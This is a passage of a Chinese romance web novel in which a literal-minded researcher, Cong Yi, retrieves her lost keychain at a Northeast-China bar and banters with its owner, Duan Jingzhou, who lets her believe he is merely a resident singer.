于是,三个人之间就形成了静默诡异又看似和谐的氛围。 一向话多的高天也尤其沉默,坐得端正低头喝着自己早就空杯的大吉利,而丛宜正观察后面的酒架,悬空的脚时不时地惯性晃动两下,显得松弛又放松。 段竞洲结束下台过来,看到的就是这样一幕场景。 虽然不知道发生了什么,不过就他跟丛宜这几次接触来看,少有人第一次见面就能接住她的话,自家兄弟这应该是被制裁,堵得没话说了。 “洲哥来了。”米兰站着的位置正对着,先看见段竞洲。 高天和丛宜两人闻声默契地神同步回头,一个眼神急切颇有种你终于来了的既视感,另一个坦然微笑,格外平静。 段竞洲选择性地忽视前者,直接看向后者:“等很久了?” 丛宜鼻尖微动,思考着计算,“不久,也就、三首歌的时间。” 她听他唱了三首。 “嗯,走吧,去拿你的东西。”段竞洲示意她下来跟着走。 “等一下。”丛宜从凳子上一只脚先探着小跳下来,掏出手机,“我还没有付钱。” 她指着自己喝了一小半的果汁,问米兰:“这杯多少钱?” 米兰没应,眸子转向了自家老板,老板的客人他可无权也没胆子做决定。 段竞洲慷慨大方地发话:“不用,不收你钱。” 见丛宜还欲开口,他微抬下巴示意她面前的果汁:“剩下的还喝吗?” 丛宜不明所以,但诚实回答:“要喝,浪费不好。” “行。” 下一秒,段竞洲端起来她的杯子,迈腿往酒吧里面走,叮嘱丛宜:“跟上。” 可是,果汁钱…… 丛宜急忙看向米兰,米兰倏忽地低下头,假装忙碌,不分一点儿眼神给她。 丛宜只好“哦”了一声,拢了拢双肩包肩带,听话地跟在段竞洲后面。 两人彻底离开吧台,米兰和高天才抬头相视,交换眼神,拿什么东西?什么时候留下的?怎么觉着嗅到了不一样的气息。 酒吧里人多,灯光暗,段竞洲一米九的身量迈开的步子大,丛宜第一次来,不认识内部的路,一边左顾右防生怕撞到人,一边又要小跑着盯前面的人,格外力不从心。 走着走着两人中间突然横进来个健硕的大哥,像是喝多了,走路东倒西歪,丛宜心一跳反应迅速地刹住了步子。 那大哥旁边跟过来个女性,似乎也注意到影响人了,赶紧扶着他一边给丛宜道歉:“不好意思啊,他这喝飘了,上头搂不住。” 丛宜往后退了两步:“没事的。” 等这两位走完,路被腾出来,丛宜往前一看,哪里还有段竞洲的人影。 段竞洲穿的就是一身黑,这个氛围下完全不显眼,丛宜站在原地视线找了半天也愣是没看见影儿。 心底默默叹了口气,不现实地想,要是酒吧也有商场和游乐场那种找人的广播就好了。 不知道段竞洲此时有没有发现她跟丢了,会不会看手机,丛宜只能试试给他发条微信。 打字打到一半,手机被人抽走,段竞洲的声音在嘈杂的周遭里准确地跌入耳朵里。 “别找了,在这儿呢。” 丛宜眼神一瞬间亮了,感叹:“你这么快就回来了。” 段竞洲薄唇微张:“把人带丢了,我不得赶紧回来找找。” “你走太快了。”丛宜解释:“刚才有个人不小心堵着路,我就没跟上。” 怎么说都行,反正没有自己的原因,一惯不吃压力。 “那我走慢点?”段竞洲故意这么问。 丛宜听不出外音,丝滑地表明心底想法:“那太好了。” 挺会给自己找舒服。 段竞洲眼底含笑,隐匿暗处微不可察。 照顾丛宜的速度,他的脚步刻意放慢,两人勉强能并排走着。 “对了,果汁不付钱你们老板不会骂你吗?”丛宜很为他的职业担忧。 段竞洲神色稍顿,合着跟高天他们坐那一会儿什么也没聊出来,心下突然来了逗趣的想法,面不改色地扯谎: “不会,顶多就是以公谋私,辞了我。” 这么严重! 丛宜小脸一垮,神情严肃,不往前走了。 “怎么?”段竞洲也陪她停住。 丛宜眉心皱了皱:“你先等我一下,我要回前台买单。” 说完不给人喘息机会,像个炮仗一样,毅然决然转身就要原路返回。 段竞洲立马伸手拉,堪堪抓着了她的手腕,“玩笑话,放心吧,不会有影响。” 谁能辞退他? 丛宜仰头看他,仔细地观察他的表情,辨别话语的真伪。 段竞洲无奈:“真没事,一杯果汁能值几个钱。” 差点忘了眼前这姑娘可是个遇事认真的主儿。 丛宜勉强相信了这套说辞,“走吧。” 段竞洲带着她到了自己休息的卡座,指了指沙发让她随意坐。 丛宜一坐下就感受到了柔软,比那个高脚凳好受太多,一路走过来见过的散台和卡座跟他这个都不一样。 位于酒吧最内侧,远离舞池和小舞台,隐私性很强,半封闭式隔断,不是特别喧嚣。 入眼一体式轻奢的黑色真皮沙发,镜面的岩板台面,处处透着高级质感。 丛宜没忍住问:“你们驻唱歌手的休息区也会这么豪华吗?” 段竞洲这下彻底笃定,她是真不知道他是这间酒吧的老板,还把他当成了专业的驻唱。 “嗯。”段竞洲也没打算解释,脸不红心不跳地顺下去:“老板大气。” 说实话,丛宜有一点点点羡慕,她们单位午休只能趴在硬邦邦的工位上,然后一觉醒来,脖子总是会特别疼,僵得像只不会曲颈的天鹅,直挺挺的很滑稽。 见面前人一直在到处打量,段竞洲随口问:“第一次来酒吧?” 丛宜点了点头。 “感觉怎么样?” 作为一个合格的老板,通过客调能够不断挖掘潜在的客户也是一项必不可少的技能。 “感觉很好。” 丛宜的音量稍微高了一些,语气由衷:“这里很像一个热闹又沸腾的情绪大熔炉,至少我看到的每一个人在这里都笑得很开心,能够做到这样,是很难得的。” 段竞洲手上的动作一顿,眸光晃了晃,目光不自觉地被说话的人吸引。 “老板一定是个很用心经营的人。”丛宜是这么评价的。 她一直都很明确,情绪是个太主观的东西,开心的状态基本只能自给,那么作为外在的客观东西需要做到精准的需求对位才能调动人体的开心情绪,所以她说,这很难得。 段竞洲听完有些恍惚,在某一刻似乎捕捉到了这份职业认同上陌生又难得的落点。 如果是别人说出来这样的话,他大抵会认为这是客套的场面话,但眼前人不一样,因为她是丛宜,一个极度坦率的人。 气氛静默,注意到他的怔然,丛宜一开始没意识到为什么,大脑开始思考后,自觉她遗漏了什么,成熟的发言不应该是这般厚此薄彼,并且她的确还没有说完。 于是正了正身体,真切又雨露均沾地继续道:“还有你的歌,今晚唱得也很好听。” ?? 段竞洲被这跳脱的思维强行拉回来思绪,生硬地接话:“谢谢认可?” “不客气。”丛宜脸上露出礼貌的淡淡笑意:“你唱的是俄语歌吗?发音很像。” “是。” 首因效应下,丛宜对第一首尤其印象深刻,问他叫什么名字。 “sadgirlsyndrome。”段竞洲回答。 丛宜嘴唇微动无声地重复了一遍,直译出来是悲伤女孩综合征,听上去蕴含深意,她没懂,接着问: “你是专门学过的俄语吗?” 不是什么难回答的问题,段竞洲也就干脆地答了:“算是,之前在俄罗斯留学上过一年语言预科。” “留学……” 丛宜眨了眨眼睛,来了兴趣,直溜溜地望着段竞洲,斩钉截铁: “那你学习成绩一定很好。” 8.春光乍泄08 在丛宜看来,夸赞对方学习成绩优异对方大概率会感到开心,至少在她从小到大的学习生涯中,只要她被提及学习成绩,妈妈总是要格外开心。 伴随着年龄和认知的增长,她明白了,这是一种正向的虚荣本能,而夸赞则是精神激励的方式之一,人作为一个能感知无数情绪的温暖个体,有时候非常需要这种激励。 丛宜清楚自己并不会说很多的“好听”话,但如果能因为自己的话而让她关注的对方觉得高兴,她会乐意去这么说,当然必要的前提是不违心。 在她预想的反应,段竞洲会因此表现出愉悦,眉眼舒缓或者嘴角噙笑,只是她预设定错误了,眼前人先是眉头一紧,而后半靠在沙发上,面无表情。 难道段竞洲和别人都不一样?他很特别,丛宜这么想。 片刻过后,段竞洲开口了:“上学时候张贴出来的成绩单,我的名字都是在最后一页。” 按照最快捷省时的方式推演,最后一页那是要倒着往前数的。 话语落地,丛宜顿住了,凝滞的气氛像奶油般化开。 以为她是不知道怎么去“弥补”这酷似“马屁拍到马背上”的局面,段竞洲大发善心地解围:“不用觉着尴尬,成绩差不丢人。” 言外之意,当事人都不在乎,她完全可以当没事人。 “的确是不丢人,”丛宜先认可,然后坦诚道:“不过我并没有尴尬,我只是在想成绩不好也可以出国留学吗?” ?她还求知上了? 换个不熟悉的人坐对面怕是已经*&#@%#的话招呼上去了,这不揭人短处,纯找茬儿呢。 对上直白纯粹的眼神,段竞洲就不应该拿常人场面反应去对标眼前这姑娘,难得想抽嘴,可显着他话多“体贴”了。 不想过多解释,段竞洲丢出一句:“读预科就行。” 字面意思,预科等同于预备班,是正式入学前的过渡班,丛宜还是可以理解的。 她发出感慨:“原来可以这样。” 丛宜的学习环境下,身边的同学都是靠着闪亮的成绩从而顺利出国留学,她还没遇到过这样的。 知道自己这方面狭窄,丛宜大大方方地承认:“是我的认知浅薄了。” 段竞洲了然但没出声回应,过多纠结这个话题那不真成光腚推磨的了,嘴上说着不丢人但到底也不光彩。 没忘记丛宜来找他的目的,段竞洲拉开桌台下面的抽屉,把放在里面好几天的海豚挂件拿了出来物归原主: “你的东西。” 丛宜的注意力果然瞬间被转移,直勾勾地落在她的挂件上,双手伸着接了过来,失而复得的喜悦铺满了整张脸蛋儿。 翻来覆去地看了好几遍,最后妥善又谨慎地放进了双肩包深处。 段竞洲见状随口问:“不挂着了?” 丛宜摇头,否认的尾调拖长,“猪才会不长记性,如果我继续挂在包的外面,下次丢了我就不会这么幸运,能被你捡到了。” 被寄托份幸运,段竞洲眉峰微抬,感觉还不赖,整个人懒懒地倚着,有兴致地接话:“谁告诉你猪不长记性的。” “赵组长。” 丛宜脱口而出:“他是我们研究所项目组的组长,有其他同事做实验出过两次相同的错误他就会这么说。” 脑海里回忆赵组长骂人的情景,丛宜试图尽力还原,格外明显又费劲儿地眯了眯自己的大眼睛,然后直起背脊,伸手指着面前不存在的人,模仿着放高声调: “第几次了,第二次了吧,又犯这个毛病!我真想问问你是不是属猪的,吃一百个豆子都不嫌腥,永远不长教训!” 话说完,丛宜非常迅速干脆地出戏,恢复到了自己平常的神情,看起来模仿得十分合格,宋知岚在场的话一定会给她打满分。 似是没想到她会突然来上这么一出,段竞洲沉浸地观摩完了整场生动的表演,深邃的眸子顿了顿,而后淡淡地垂眸,不动声色地避开丛宜的视线。 喉结跟着轻轻地上下滚动了一下,硬生生地把笑声憋在了喉咙间,唇角却在暗处暴露出一弯弧度。 “你们组长有对你这样过吗?”他问。 “没有。” 丛宜很少会犯这种错误,可不代表她不理解同事,于是自顾自道:“我查过民法典,赵组长这个行为严格来说是人身攻击,并不正确。” 段竞洲明知故问:“那你纠正他了吗?” “有。” “你怎么说的?” 丛宜想了想:“我告诉他可以有空仔细学习下《民法典》,第1024条名誉权中有提到任何组织或者个人不得以侮辱、诽谤等方式侵害他人的名誉权。” 得,给上级背了个法条,倒是很符合她的作风。 段竞洲这下子还挺想知道她那位组长怎么招架的。 “他回答你什么了?” “赵组长只说了一句话。”丛宜语气平淡:“他让我消停点儿。” 段竞洲眉头刻意紧锁,死命地崩了几秒,到底是露了破绽,清冷的脸瞬间舒缓,低头轻咳了几声掩饰,眼底藏不住的笑意。 丛宜目不转睛地盯着他,察觉异样,“你是在笑吗?” 她并不觉得自己的回答有任何问题。 段竞洲抬头脸色收紧,嘴角牵动:“没有。” “哦。” 其实丛宜有点犯难,她不喜欢听赵组长说这种话,也不乐意看见同事难过的表情,实验中有错误很正常,赵组长为什么就是不可以理解。 段竞洲听出来她语气低了些,说:“你纠正没错,就是方式没找对。” “方式?”丛宜眸子里燃起些好奇:“应该用什么方式?” “什么人对什么方式,你不能拿你一贯的处理方式应对所有找事的人。” 套公式不可行。 丛宜没明白。 段竞洲问她:“你组长有权力辞退,或者怕他为难你么?” “没有,也不怕。” 赵守正再怎么说只是个组长,丛宜归属于上海的研究所,虽说他看不惯丛宜,但仅限于逞嘴上说几句,也不敢给丛宜穿小鞋,因为丛宜的实力到底能拉动整个项目进度。 “那就好办。” 段竞洲没顾虑地给她支招: “下回再有这事儿,你就告诉他‘猪智商可不低,用不着你在这儿乱扣属相埋汰人,谁还没个失误的时候,少上纲上线,嘴上积点儿德。’。” 段竞洲教完也利落地出戏,神色淡然,倒是给丛宜带来不小冲击。 好流利好丝滑的一句话! 丛宜听完倏忽感觉心底刮过了一阵强风,轻飘飘的。 嘴上默默地重述这句话,专注度堪比做实验,说到一半忘了,水灵的眼睛一动,求助地望向段竞洲:“你能再重新说一遍吗?” 段竞洲哂笑:“我给你写纸上,你回去背背得了。” “可以吗?”丛宜眨了眨眼。 可以什么可以,又不是语文课本。 丛宜今晚再一次对东北话折服,忍不住嘀咕:“你们东北人都是这么会说话的吗?” “你,们?”段竞洲挑眉。 “嗯。”丛宜提及:“还有刚才进来坐在我旁边的那个人,他也很会说。” “高天?”段竞洲问:“他说什么了?” 丛宜睫毛闪了闪,回忆起来后,把高天进门时骂加塞那人的印象深刻的话完完整整地复述了一遍,照本宣科,就跟读课文似的。 段竞洲听见某些字眼耳朵嗡地一声,提醒:“别学他的,不是什么好话。” 高天这纯粹就是上不了台面的话。 丛宜反应极快,不假思索:“你教得好像也不算是好话。” 反正都是不客气的话。 搬起石头砸自己脚,段竞洲轻啧了一声:“我教你的算文明,他那话脏。” 脑海里过了两句话的对比,听起来好像的确是段竞洲的更顺耳,丛宜表示认可:“也对。” 说曹操,曹操就到。 高天端了一杯清透分层的饮品进了卡座,熟稔地坐到段竞洲一侧的沙发上,不忘跟丛宜热络地打招呼。 “嘿,又见面了。” 其实不过二十分钟左右,这人就自觉忘了先前三人默的尴尬情景,一副云淡风轻的模样。 丛宜更是压根就没觉得之前有什么尴尬的地方,礼貌地对高天回应:“你好。” “你来干什么?” 段竞洲故作不知,实则就他对高天的了解程度,这人一抬屁股他就知道要干啥,无非是八卦。 高天往他旁边挪了挪,把端过来的饮品递到他手边,“给你送喝的,米兰这几天研究的新品,刚调制出来的,你给品鉴品鉴。” 像真有什么正事似的,什么酒非得现在喝,段竞洲没拆台他,顺手接了过来。 水晶杯壁澄澈明净,上层是清透的奶白色,中层浅石榴红隔断,基底是青柠青调,整体的色调和谐交融不显浓烈 。 “起名了吗?”段竞洲轻晃着手里的酒杯。 “暂时给起了个。” 高天眼神扫过丛宜又掠过段竞洲,清了清嗓子神秘兮兮地介绍:“这杯叫‘春光乍泄’。” 段竞洲没什么反应,反观丛宜颇是欣赏,浅色的瞳色在灯光下显得亮晶晶:“很有情调的名字。” 高天尾巴马上翘起来了,“我们米兰大师出手,保准就有。” 丛宜固来不善隐藏情绪,直勾勾地盯着那杯饮品。 段竞洲见状,问:“你想尝?” 丛宜没回答,转而反问:“这个里面是含酒精的吗?” “当然了!”高天抢答,脱口而出:“这是酒吧,肯定要卖酒。” 丛宜点头了解,视线转到段竞洲身上,倏忽地来了句:“那你不能喝。” 一旁的高天嘴角一抽,这俩人到底什么关系,都开始管上了? 就连段竞洲也短暂地懵了下。 “你昨天在发烧,再摄入酒精会加剧身体脱水,加重肝脏代谢负担。”丛宜缓声解释。 忘了这茬了,段竞洲淡淡应下。 两人极其自然的交流看得高天一愣一愣,心里跟被人用鸡毛掸子来回扫荡似的捉急,这到底什么情况啊。 他试图眼神示意段竞洲,显然这人并不想理会。 “还想尝吗?”段竞洲把那杯酒推给她。 丛宜面上浮现纠结,人们的视觉总是会先于味觉被吸引,绝大多数的食欲是来自于视觉,这个好看颜色一直在勾引她的味觉,但她其实从未喝过酒,并不清楚自己的量。 段竞洲仿佛能猜透她在想什么,跟了句:“这杯酒精含量不高,只是尝个味道不会醉。” 先前的多次接触已然让丛宜对段竞洲形成了天然的信任,这句话彻底打消她的顾虑,动作诚实地伸出双手,小心翼翼地把那杯酒挪到了自己面前。 丛宜端起酒杯,青柠片挂杯的一股清香萦绕在鼻尖,跃跃欲试的心更跳跃了,郑重其事看向段竞洲,报备: “我要喝了。” 无关紧要的小事被她这么一说倒显得举足轻重,让人无法忽视。 段竞洲轻点下颌:“好。” 小口液体倾倒,冰凉柔滑,丛宜的舌尖先触到红石榴的清甜和果酸,而后温润轻薄的酒香在口腔内慢慢散开,绵长回甘。 对一个东西默认的高评价就是有第二口,丛宜第一口是唇舌触碰的小心品尝,第二下就是忍不住的大口摄入。 “可以了。”到第四口时,段竞洲适时提醒,酒精含量再低到底也是酒,对于一个没尝试过的新手,这么急切的喝法显然不恰当。 丛宜虽恋恋不舍,但也不贪杯,顺从地放下了,嘴唇轻抿了抿似在回味,而后冷不丁地冒出一句:“像穿裙子的小女孩。” “什么?”段竞洲眼梢微敛。 丛宜指了指面前的酒杯,给出直观感受,“像穿着很多层漂亮蕾丝花边裙子的女孩子。” 丛宜的脑袋里总是装着与大多数人不同的奇妙想法,也因此让她有时候表达自己的感受时出人意料,但又该死的契合和合理。 会意后,段竞洲有些失笑,故意问:“那你喝空的那杯果汁呢,又像什么?” 丛宜想了想,给出答案:“穿着白色短袖的小男孩。” 一个口味复合,一个单调。 段竞洲克制地敛着唇角,才没被这形象又相对的比喻逗得破功。 一旁的高天没这定力,毫不遮掩地噗嗤一笑,满意地出声:“看样子我们‘春光乍泄’可以上了。” 适口性不错,能捕获新手芳心。 丛宜不懂酒,也不给任何导向性的意见,一味诚实道:“我只是觉得是好喝的,其他的我并不懂。” 段竞洲的长腿随意地曲着,颇有老板的架势,语调随性:“不用懂,好喝就够了。” 来酒吧喝酒大多喝得是个氛围,真的懂酒的少之又少,符合大众口味才是趋势所向。 听他这么说,丛宜也不争辩,看着杯子里自己剩下的一大半,眼神流露可惜,“我不可以再喝了吗?” “不是不可以。”段竞洲松口解释:“喝得急酒精短时间冲进胃里,怕你不适应会醉。” “哦,好的。” 段竞洲看她明白了,以为她是听进去了。 过了几秒,丛宜轻轻垂着的眼睫又抬起,定定地看向段竞洲,眼底亮起细光,果断地做出了决定:“那我打包。” 9.骗财骗色09 要是米兰在场听见这个客求,怕是当场要晕厥过去了。 “说的什么玩意儿?以为这是奶茶店,还能打包?” “开封的酒打包出问题,哐嘡一顶印度飞帽甩头上了。” “座位、氛围还有环境费怎么算,‘北沨’慈善酒吧?纯纯白给啊!” 内心os如上,当然在场的高天也没冷静到哪儿去,混迹于酒吧这么久,第一次听说要打包的,他噗嗤一乐,等着段竞洲这个老板发话。 “调制酒不能打包。” 段竞洲眼神慢悠悠的,“打包分层会混合,香味随之挥发,冰块融合味道也会变淡。” 放在专业调酒师眼里丛宜打包的话很外行,不过术业有专攻,不懂也正常,倘若让几位了解丛宜实验经常用到的离心泵,哥几个怕会以为是滚筒洗衣机。 “好吧。”丛宜妥协了,就是可惜的目光直落在那杯酒上。 段竞洲不动声色地伸出长臂,修长的手指捏着杯壁迅速地把‘春光’挪到了自己这边。 丛宜圆润的眼睛顿时瞪大,视线跟随着酒杯移到面前那张“冷漠”的帅脸上,掷地有声,“我不会偷喝的。” 他怎么能不信任她? “嗯,怕你打翻撒身上。”段竞洲慢条斯理地矢口否认。 是这样吗?丛宜不确定。 “喜欢喝下次可以再来。” 丛宜果然被带偏,吐声回答:“我会的。” 毕竟到目前为止,她对这里还是很喜欢的。 高天夹在两人中间,摆出一副没眼看的表情,屁股直长钉子,戳得坐不住,“那什么,我去给米兰个反馈,你们聊。” ‘不务正业’来,‘一无所获’走,不带一点停留。 “他也是酒吧的工作人员吗? 丛宜看了眼高天的背影。 “不是。”段竞洲眼波微动,介绍了个合适的定位:“老板朋友。” 丛宜了然地点了点头:“难怪他看起来并不忙。” 跟其他工作人员都不一样。 酒吧室内暖气足温度高,丛宜脱掉羽绒服里面穿的是件白色圆领的软糯毛衣,暗光扫过,挺翘的鼻梁上渗出一层亮晶晶又细密的薄汗。 “很热?”段竞洲把桌面上的抽纸盒推过去。 丛宜抽了一张,压在鼻子上,“有一点点。” “我能不能再问个问题?” 眼前人脆生的脸上冒出严肃,段竞洲身体微微往前倾,等着她开口。 丛宜并拢着双腿,坐姿显得格外乖巧,跟着也往前凑了凑,刻意地压着嗓音小声道:“我想问问洗手间在哪里。” 她真的很想去解决下生理需要。 话音结束,一阵极其轻微又短促的闷笑钻入耳朵里,快得让人难以捉摸。 丛宜愣了愣,眼眸发呆地望向段竞洲。 他为什么要笑? 是又笑了吧,但她试图从他脸上找到笑过的痕迹,还是没任何发现。 段竞洲神色如常,后背直起,指了指她背后的方向,“直着走,在拐角处有提示。” 还没下班前丛宜就喝了不少的水,坐在这里又连着很喝了一杯果汁和几口酒,早就想去洗手间了,只是碍于当时高天还在,三个人在这种环境下她认为问这个并不礼貌。 从小方女士的礼仪教育中有一条,想去洗手间可以大大方方说,但一定要分清楚场合,不能过于随性。 丛宜记到现在,她觉得酒吧是个体面的场合,所以她才会非常小声地去问段竞洲。 虽然不知道为什么他要笑,不过他还是告诉了自己洗手间的位置,丛宜依旧摆出了发自内心的明媚笑容:“谢谢。” 宽松的毛衣趁着纤瘦的身形,轻缓的身影隐去,段竞洲下颌的柔和才又不由自主地缓缓浮现,被这姑娘要问洗手间在哪儿这种小事反而整出来严阵以待的前摇给逗乐得不行。 对面沙发上安静躺着的手机发出一阵声响,铃声不绝于耳。 段竞洲瞥了一眼,是丛宜的手机,他没自作主张,任由手机响着。 约摸一分钟,电话自动挂断,但没消停,紧接着又响了起来,来回就这么三四次,对方显然是锲而不舍,段竞洲眉心隆起,终究还是起身绕了过去,捞起手机。 备注“岚姐”的来电显示。 段竞洲指尖摩挲着手机的边缘,片刻后划过接听键。 电话一接通,那头女性急切又高调的声音通过听筒肆意地传了过来。 “妹儿啊,你可算接电话了,捡你东西那人是帅骗不,你没被骗财骗色,人还好好的吧?” 帅骗?骗财骗色? 段竞洲心底儿默念了这两个词,手指动作停顿,唇间发出一声极轻的嗤笑。 …… 另一边,丛宜解决完个人的迫切需求,正站在干净的洗手池专注地搓洗手指和指缝。 旁边的位置上同样站了个女性,身形高挑化着一眼看过去张扬大气的妆容。 两人面前的水龙头哗啦啦地同步流水,丛宜听见旁边人说:“你是第一次来这里吧。” 丛宜看了看镜子,扭头指了指自己:“你在跟我说话吗?” 那位美女愣了下,而后长长的眼线弯曲,随和道:“是啊,这也没旁人。” 东北人大多如此,社交主动属性,爱唠嗑,完全自来熟。 丛宜理解话意后点头:“我是第一次来。” “我说呢,以前没见过你,他家环境不错,我是这儿的常客,基本没事就来这里坐坐,挺多客人自然也就眼熟了。” 丛宜认真地评价:“这说明回头客很多。” “可不嘛。”那美女应和:“不过也有部分原因是在于老板喽,没办法,谁让‘北沨’老板的个人魅力太大了呢。” 不说什么接触不接触的,来酒吧图什么,不就图一乐,就看脸听歌也足够养眼养心了。 丛宜对这家老板的印象仅限于听说的口头描述,还没真正见过,就好像蒙着一层薄薄的面纱,颇具神秘感。 她还没来得及说什么,眼前的美女抽了张干手纸递给她,还附带着眨了下眼:“你这都跟老板这么熟了,真让人稀罕啊。” 说完甩了甩手,“先走了啊。” 剩下丛宜自己手里抓着张纸巾驻足在原地,皱着小脸直直地愣神。 没解读出来那位的表情,也没听懂那位的话,只看清了浓密卷翘的睫毛扑闪了一下,虽然很漂亮,但真的不会挡视线吗,丛宜很认真地思考这个问题。 沉思着走出洗手间,她后知后觉地“诶”了一下,才意识到好像被那位误会什么了呢,她并不认识老板,甚至连面都没见过呢。 原路返回到卡座,穿着工作服的一个男服务生正在段竞洲的旁边,丛宜见他嘴唇微动,像是在跟服务生交代什么。 等她落座,两人交谈完,服务生也走了,丛宜看了看手腕上的电子手环,已经快十点了。 “你是不是还要继续工作?”丛宜自觉今晚的确占用他不少时间。 段竞洲知道她口中的工作是指驻唱,也没纠正,“不用,有轮班。” “好哦。” 丛宜应声,答谢:“今天晚上谢谢你。” 按照正常的逻辑,对方应该回“不客气”,可是没想到,段竞洲这次竟然不按逻辑出牌。 只见他挑了下眼梢,刨根问底:“谢我什么?” 要说很具体的吗? 丛宜小幅度地歪了下头,条理清晰地开始列举,“还给我挂件、请我喝果汁、品尝‘春光’、还有告诉我怎么应对赵组长的不合理行为。” 细节得就差告诉她洗手间的具体位置了…… 段竞洲“嗯”了一声,紧接着猝不及防,猛地起身,坐到了丛宜旁边的沙发上。 丛宜坐的是个多人沙发的最头部,离得近的还有个单人沙发,段竞洲这一挪,两人之间的间隔瞬间缩小。 按照这个距离,丛宜甚至可以看到,他眉弓骨靠近眉尾下方的上眼皮部位,有一颗很淡的浅棕痣,看上去增添了不少的桀骜感。 丛宜忘记是在哪里看到过人体各部位痣的解释,可能是网上某个不入流的所谓“玄学”解析帖,那上面说的这个部位的痣叫做“勾魂痣”,因为名字比较奇怪,所以她印象深刻。 原来段竞洲也有一颗。 不过在丛宜看来,虽然这种解释没有任何科学依据,但倘若他想,无论有没有这颗痣,他应该都可以“勾魂”,毕竟很多人都会对一张高颜值的俊脸趋之若鹜。 丛宜就这么坦坦荡荡地盯着段竞洲那张脸看,恰好,段竞洲也在看她。 一双黑眸直直地锁定着丛宜,双唇轻启,诱导性地发问:“帮了你,那我勉强也算是个好心人吧。” 虽说对这个问题不明所以,不过丛宜还是全肯定:“当然是了,你就是非常热心和靠谱。” 用上“非常”这种程度表达词,足以见得是肺腑之言,让人根本无法质疑,丛宜眼中的真诚几近满溢出来。 段竞洲听完眼皮下压,那颗痣随之消失在褶皱里。 好可惜,看不到了,丛宜心里想。 走神间,她听见段竞洲问:“既然算好心人,那能给我解释下帅骗、骗财骗色是个什么意思么。” 声压被刻意压得低沉,丛宜的大脑在此刻宕机,他在说什么,为什么会突然这么问呢? “刚才你电话一直响,顺手帮你接了,你的朋友看起来很担心你被我骗、财、骗、色。” 段竞洲大发慈悲地补充,后四个字的语调明显放缓加重了。 丛宜稍顿了几秒后,仿佛齿轮对上齿距继续运作,恍然大悟地轻呼了一声:“啊,你说的是岚姐吧。” 就,这个反应? 段竞洲倏忽有种被扼住喉咙的憋屈。 衔接上他问的问题,丛宜试探性地猜测:“是岚姐说你帅骗,骗财骗色吗?” 宋知岚性子本就比较直率,这种问法出自她口的可能性很大。 对上面无表情的一张脸,不等段竞洲回答,丛宜自顾自道:“岚姐是比较担心我,她不了解你,所以在此之前她会存在这种警惕心。” “你呢,你也这么想?”段竞洲鬼使神差地问。 丛宜快速地摇了摇头,“我没有的。” “你之前已经帮过我了,相比之下我认为我们不算是陌生人,所以我不觉得你是骗子。” 在相识的基础上,丛宜觉得段竞洲的善意之下并不是带着黑黢黢的企图。 段竞洲没出声,心底勉强舒坦了那么一点,觉得她还算是有点儿良心。 任谁好心被揣摩是骗子也多少会心生不悦,也不是人人都有松花江似的大度量。 眼前人不说话,丛宜要解释的正当理由也解释过了,不知道还需要说点什么,一副欲言但又没话说止住的样子。 小舞台驻唱歌手此时正好在唱一首忧郁调子的歌,曲风低沉,裹着化不开的惆怅。 没有段竞洲唱得那首好听,丛宜是这么觉得的。 过了大抵有‘漫长’的两分钟,如果说两人之间的氛围可以用水面来形容,那么这会儿八成已经结了一层薄冰了。 丛宜不喜欢这种低压,低情绪会打乱神经内分泌的稳定性,诱发身心多重不适,且难以自愈。 在她的逻辑里,误会需要说清楚,因此她说明白了,理性思维来讲她并不需要再做什么了,只是,在这个环境下,丛宜还未得到应有的生理上的舒适感。 她认为,她可能也需要适当发挥一下代偿机制的作用,比如此刻给她莽撞和超乎理性的勇气,用力地划动“小船”,去撞一下覆在段竞洲周围的“冰”。 于是,丛宜微微起身往前坐了坐,上半身往段竞洲的身前去倾,脑袋凑过去,眼神直勾勾,不愿放过他脸部任何的微小波动,而后轻声询问: “你现在是在生气吗?” 10.秀色可餐10 曾经有过一段时间,丛宜被情绪支配,热衷于观察和分析别人的微表情,医院候诊区、公园座椅上、地铁上……她都去过,有时候坐一下午,有时候甚至会坐上一整天。 人们表达高兴时,瞳孔是亮闪的,眼睛会比自然状态下小上几分,因为在笑。 陷入悲伤时,眼睑会自然垂下,目光失焦空洞,整张神情都蔫了下来。 杏仁核动作诱发生气,人们的表情通常是冷硬的,面部肌肉紧绷,嘴唇抿直像一条不用刻量的直线,眉眼跟着下压,就连周遭的空气都分外剑拔弩张。 那段时间,丛宜很会“察言观色”。 只是后来,她不再喜欢这样,自己这项能力也渐渐退化了,在此刻,她并不能够准确地判断出段竞洲是不是在生气。 段竞洲大多时候的表情其实和她认知中的“生气”状态是一样的,只是少了剑拔弩张,丛宜觉得,可能他本就是个“酷哥”的缘故,这样看起来高冷。 但是,这十分影响她的判断,她只能张口问他。 丛宜的突然靠近,段竞洲一时间不防备,随意耷拉着的双腿不自然地弯曲起来,嗓间的声带略有收紧的架势,矢口否认: “没生气。” 得到回答,丛宜反而不相信,腔调颇有种语重心长:“你要讲实话。” 段竞洲乐得轻嗤一声,“我这怎么就不是实话了?” 丛宜问这个问题轻易地跟问别人“你吃饭了没有”一样,但是作为问题的回答者可就没有这么随性了。 生气这个词过于严重,承认倒显得小气,段竞洲充其量就是当下有些不快罢了,如实回答又被质疑,她可真是轻松把人架火上翻烤的一把好手。 “人在说实话的时候通常要看向对方的眼睛,这样可以体现真切和坦荡。” 丛宜抛出自认为合理的质疑理由,“可你刚才并没有看着我的眼睛。” ? 对视? 段竞洲脑子嗡地一声,从来没觉得自己能当个碎嘴子有这么多话想反驳。 一团蓬松的毛绒脑袋就差杵到他胸前这个近距离,以及这个酒吧旖旎的氛围下,成年男女对视?超出日常社交安全距离,这不闹呢。 丛宜是不掺杂任何所谓的男女别样情感说出这句话,甚至可以说不懂,但他不是,他一正常男人,搞什么眼神拉扯。 …… 段竞洲只觉得一口郁气闷在胸腔里,不上不下的。 若无其事地往后退了些,头脑风暴地开口:“还有种说法是对视会刺激交感神经,让人产生不必要的拘谨和不自在,影响我说实话。” 丛宜清眉微动,好像也有道理。 “那就算你没生气吧。”她向逻辑妥协,然后轻叹出声:“不过你的心思真的好难猜。” 段竞洲眸光骤然敛紧,双眸微眯,“我心思难猜?” “是啊。”丛宜丝毫没察觉不对,郑重其事继续道:“我们项目组赵组长的心思已经很复杂了,但是我觉得你的比他的还要难猜。” 赵组长时而情绪甩脸上,但是说的话总是让丛宜揣摩不明,宋知岚说这是“阴阳”,丛宜想不通,有话为什么不能好好说。 现在段竞洲出现了,他本就心性沉敛,喜怒完全不显于色,对丛宜来说更难了。 头一次听见有人这么评价自己,偏偏面前这姑娘还尤其真切,明知道她没别的意思,段竞洲这会儿还是忍不住肺都要鼓起来了,火大。 “你把我俩放一块儿比?” 